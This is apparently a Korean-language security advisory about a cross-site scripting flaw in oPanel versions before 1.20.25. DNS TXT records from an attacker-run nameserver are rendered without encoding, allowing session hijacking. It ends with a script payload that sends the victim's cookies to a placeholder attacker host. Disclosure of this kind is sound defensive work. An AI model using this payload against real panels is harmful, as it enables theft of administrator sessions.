
oPanel DNS 기반 사이트 간 스크립팅(XSS) 및 세션 하이재킹
oPanel(v1.20.25 미만 버전)에는 DNS 응답의 부적절한 처리 및 검증으로 인해 발생하는 크로스 사이트 스크립팅(XSS) 취약점이 존재합니다. 패널이 공격자가 제어하는 네임서버에 DNS 쿼리(예: 도메인 정보 검색, DNS 전파 확인, TXT 레코드 조회)를 수행할 때, 반환된 DNS 레코드를 적절한 HTML 인코딩 없이 웹 인터페이스에 직접 반영합니다.
공격자는 악성 DNS 서버를 구성하여 TXT 레코드 조회에 악성 JavaScript 페이로드로 응답함으로써 이 취약점을 악용할 수 있습니다. 인증된 oPanel 사용자(예: 관리자)가 DNS 응답이 표시된 페이지를 볼 때, 페이로드는 해당 사용자의 브라우저 세션 컨텍스트 내에서 실행됩니다.
성공적인 악용 시 공격자는 피해자 브라우저에서 임의의 JavaScript를 실행할 수 있습니다. 개념 증명에서 입증된 바와 같이, 이를 활용하여 민감한 인증 쿠키(document.cookie)를 탈취할 수 있으며, 이는 완전한 세션 하이재킹과 oPanel 환경에 대한 무단 관리자 액세스로 이어집니다.
악용을 위해서는 공격자가 악성 DNS 서버와 탈취된 데이터를 캡처할 HTTP 리스너를 설정해야 합니다.
공격자는 UDP 포트 53에서 악성 DNS 서버를 실행하며, 이 서버는 모든 TXT 쿼리에 XSS 페이로드로 응답하도록 구성됩니다.
악성 TXT 레코드 페이로드:
<script>new Image().src='http://<ATTACKER_IP>:<HTTP_PORT>/log?cookie='+document.cookie;</script>